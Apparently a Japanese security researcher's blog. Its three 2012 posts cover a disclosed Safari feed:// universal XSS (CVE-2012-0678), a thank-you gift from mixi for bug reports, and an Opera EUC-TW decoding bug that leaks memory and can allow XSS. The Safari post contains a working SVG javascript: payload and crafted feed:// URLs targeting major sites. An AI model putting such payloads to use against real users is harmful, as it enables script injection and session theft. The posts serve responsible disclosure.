2012/11/27

CVE-2012-0678: Safariのfeed:// URLのUXSS

Safari 5.1.7で発見し、Safari 6で修正された、feed:// URLのUXSSについて書きます。

http://support.apple.com/kb/HT5400
Safari
Available for: OS X Lion v10.7.4, OS X Lion Server v10.7.4
Impact: Visiting a maliciously crafted website may lead to a cross-site scripting attack
Description: A cross-site scripting issue existed in the handling of feed:// URLs. This update removes handling of feed:// URLs.
CVE-ID
CVE-2012-0678 : Masato Kinugawa

発見の経緯

以前ブログに書いたように、Safariには、URLのホストの前の認証情報文字列をlocation.hrefで取得するとき、中身がパーセントデコードされて取得されるという問題がありました。
僕は、この挙動はブラウザの問題だと思ったのですが、Appleは(最終的には修正したものの一度は)「修正する予定はない」という返事をしてきました。じゃあ、実際にこの挙動で問題が起きる部分をみつけて、ブラウザ側の修正の必要性を示してやろうということで、いろいろなページを@付きURLでアクセスしてまわりました。そのときに発見したのがこの問題です。

どんな問題か

Safariでは、フィードのURLにアクセスすると、

http://masatokinugawa.l0.cm/feeds/posts/default

から、

feed://masatokinugawa.l0.cm/feeds/posts/default

のような、先頭をhttp://からfeed://に変えたURLにリダイレクトし、Safariが独自に生成したフィード用のページを表示します。ちなみにこのURLは僕のブログのフィードのURLです。
このfeed:// URLを、@付きURLにして、少し細工してアクセスしてみると、奇妙なことがおきます。

feed://www.apple.com%2Fpr%2Ffeeds%2Fpr.rss%3F@masatokinugawa.l0.cm/feeds/posts/default






masatokinugawa.l0.cmなのに、@の前に書かれたURLの、Appleのフィードが表示されています。試しにここで、アドレスバーで「javascript:alert(document.domain)」とすると、「masatokinugawa.l0.cm」と表示され、masatokinugawa.l0.cm上でwww.apple.comのフィードが展開されていることがはっきりと確認できます。
通信を監視してみると、以下のリソースをとってきています。

http://www.apple.com/pr/feeds/pr.rss?@masatokinugawa.l0.cm/feeds/posts/default


どうも、feed:// URLでは、@以前の文字列をデコードしたURLを、そのページのフィードとして読み込んでしまうみたいです。

これはつまり、ターゲットのサイトに読み込ませる外部のフィードにスクリプトを書くことができれば、XSSが可能ということになります。

Safariではフィード用ページでのJavaScriptの実行を、スクリプトが実行可能な文字列を除去する形で制限しています。しかし、一部適切に制限できていない文字列がありました。
以下のような文字列を外部のフィードに設定するとjavascript: スキームのリンクをfeed:// URL上に設定できてしまいます。

http://l0.cm/safari_uxss.rss
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink"
xlink:href="javascript:alert(document.domain)">
<rect width="1000" height="1000" />
</a>
</svg>
 さあ、これを含んだフィードをさっきのURLに流し込んでみましょう。

 feed://l0.cm%2Fsafari_uxss.rss%3F@masatokinugawa.l0.cm/feeds/posts/default



オーマイゴッド、ですね!

Safariでホストの前に@が付いたURLにアクセスする時は、デフォルトの設定でフィッシング警告が出ていましたが、不幸なことに、feed:// URLに直接アクセスする場合は@付きURLでも警告が出ません。
ちなみに、ターゲットのページがフィードのURLでなくても、feed:// URLで表示させることができます。つまり以下のように、どんなサイトでもXSSのターゲットにできるということです。

feed://l0.cm%2Fsafari_uxss.rss%3F@www.google.com

feed://l0.cm%2Fsafari_uxss.rss%3F@www.facebook.com

feed://l0.cm%2Fsafari_uxss.rss%3F@twitter.com


MacでSafariのアップデートをしていない方は、早急に最新版にアップデートしましょう。
Windows版ではこのブログ投稿現在、アップデートが提供されていません。
Appleから正式な開発終了の告知は出ていませんが、Mac版のSafari 6の公開から4ヵ月が経とうとしているのに、何の動きもないので、もはやこれ以上開発を継続する気はないと思われます。

Safari 5.1.7にはこれ以外にも複数の脆弱性の存在が確認されており、JVNもWindowsユーザーはSafariの使用をやめるよう勧告しています。
WindowsのSafariユーザーは、使用をやめるよう、僕からもお勧めしたいと思います。

2012/11/15

mixiからキーボードを頂いた

以前から何度かmixiのセキュリティ上の問題を報告していたんですが、最近また新たに問題を報告したところ、お礼を頂けるというお話を頂き、mixi様からキーボードなどを送って頂きました!

↓Happy Hacking Keyboard Professional 2 の特注版だそうです。mキーがmixiのロゴ仕様になっていてかわいいです。



↓ロゴ入りバッグとロゴ入りカラビナも頂きました。





嬉しいです!ありがとうございます。

mixiは"過去の教訓"からか、かなりセキュリティに配慮した作りができていると思います。
例えば、mixiでデコメ付き日記が書けるようになった時に、一部のHTMLタグが日記中で使用できるよう変更されたことがありました。この時XSSを作りこんでるんじゃないかと思ってみてみましたが、使用可能なタグが厳密に制限されており、かなり慎重にやっているなと感じました。今のところこの部分については特に問題をみつけていません。
 それでも他の部分についても全く脆弱性がない訳ではありません。 XSSやオープンリダイレクタ、変わったところでは、他人の日記のコメントを削除できてしまう問題、有料コンテンツを無料で取得できてしまう問題などを過去に報告したことがあります。

mixi様、この度は送って頂きありがとうございました。 大切に使います。
何かくださるという方はご一報ください。次のお届け物をお待ちしております。

2012/11/07

OperaのEUC-TWに存在した潜在的にXSSが可能な問題

安定版Opera 12.10で修正されているのを確認したので書きます。
ベンダは悪用は難しいとして、これをノーマルバグとして扱いましたが、修正前はcharset指定がないページやEUC-TWエンコーディングのページでXSSを引き起こす可能性がありました。


これを見つけた経緯から話すと、僕は以前から、ブラウザがサポートするエンコーディングのページで、「0x22」「0x26」「0x27」「0x3C」「0x3E」「0x5C」("&'<>\)などの特殊な文字がマップされているバイト値を除いた上で、ランダムにバイト列を表示させて、別のバイト列で「"&'<>\」が現れないかチェックするというような、ブラウザのセキュリティバグを発見するためのテストを行っていました。これにより、OperaのEUC-TWで「"<>」などを検出し、この問題を発見しました。

実はこの手法で他のブラウザでもいくつかの問題を検出していました。(この詳細はタイミングをみてまた今度書きます) それらはどれも、ある固定のバイト列で、現れてはいけない文字が現れてしまうというもので、僕もそれを想定してやってた訳なんですが、このOperaのEUC-TWだけは、検出後に同じバイト列を使って再現させようとしてもなぜか一度は検出したはずの文字が現れず、うまくいきませんでした。

調査を続けていくと、どうも特定のバイト列が、時折文字を変えつつ、ほぼランダムな文字を返してくるということがわかりました。
そのバイト列周辺を並べたのがベンダへの報告時にも使った以下のページです。

 http://l0.cm/o_euc-tw_a1xx

ここの、0xA181-A1A0によくわからない値がくるのです。
0xA181-A1A0 はEUC-TWにおいて本来は使われないバイト列であるみたいなんですが、どうも処理が狂っているようです。(12.10では不正であるとしてU+FFFDが2つ現れます。)

さらにみていくと、たまに目に見えて意味のある文字列が返ってきていることに気が付きました。





これだけでどうみてもバグってるし、場所もはっきりしたのでもう十分バグ報告してもいいんですが、何度か「"&'<>\」を検出してる訳なので、セキュリティ上の脅威になるかどうかをちゃんと調べようと思ってさらにみていきました。
すると、バイト列には、たまに、自分が表示しようとしているHTMLの内容を含んでいる場合があるということにも気が付きました。ページ下部に「<」(0x3C)を大量に並べたところ、以下のようになったことがありました。





この時点で、このバイト列に、認証を済ましたページで表示された文字が含まれるなどすれば、情報が漏洩しうることになるので、セキュリティバグと言えるでしょう。ただ、僕はXSSがしたいのでまだ続けます。

ここで得られた文字から考えると、0x00 0x3C 0x00 0x3C....と書いておけば「<」が得られそうです。実際何度かそのようにして試していると「<」が得られました。
この方法で確かにXSSができることは確認しました。ただ、たまに「<」のような問題のある文字を現れさせることはできても、確実に出現させる方法がわかりませんでした。また、このバイト列に一度「"&'<>\」などが現れても、何かの拍子に中身が変更されてしまう場合が頻繁にあることなどから、安定して攻撃に使う方法を見つけられずにいました。

EUC-TWは、他のメジャーブラウザでもほとんどサポートされていないエンコーディングなので、ウェブページの表示にはまず使われていないのではないかと思います。そんな重箱の隅をつついて何の意味があるんだと思うかもしれませんが、Operaには、charset指定のないページをフレームに埋め込むと、親フレームの文字コード指定をクロスドメインでも継承するという挙動があるため、看過できません。(これはめんどうくさいWebセキュリティのp281にも書いてあります。Opera 12.02でこのページを見るとフレーム中にiso-2022-jpと表示されるはずです。この挙動は12.10では修正されているように思いますが、@masa141421356さんによるとまだ条件によっては継承するみたいです。) これを利用すれば、EUC-TWで見ることを想定していないcharset指定がないページでも、ある程度バイト列を自由に出力できるなら、問題のバイト列を挿入してXSSを起こすことができます。

攻撃は安定的にはできないものの、一応情報も漏洩するしXSSも可能なので、まぁセキュリティバグだろうと、このフレームによる継承の手法も含めて報告しました。が、Operaのベンダ的にはノーマルバグだそうです。
Operaの脆弱性のCVE番号をゲットすれば、「5大ブラウザのCVE番号をゲットする」のアチーブメントをアンロックできるんですけど、なかなか難しいですね。また挑戦します。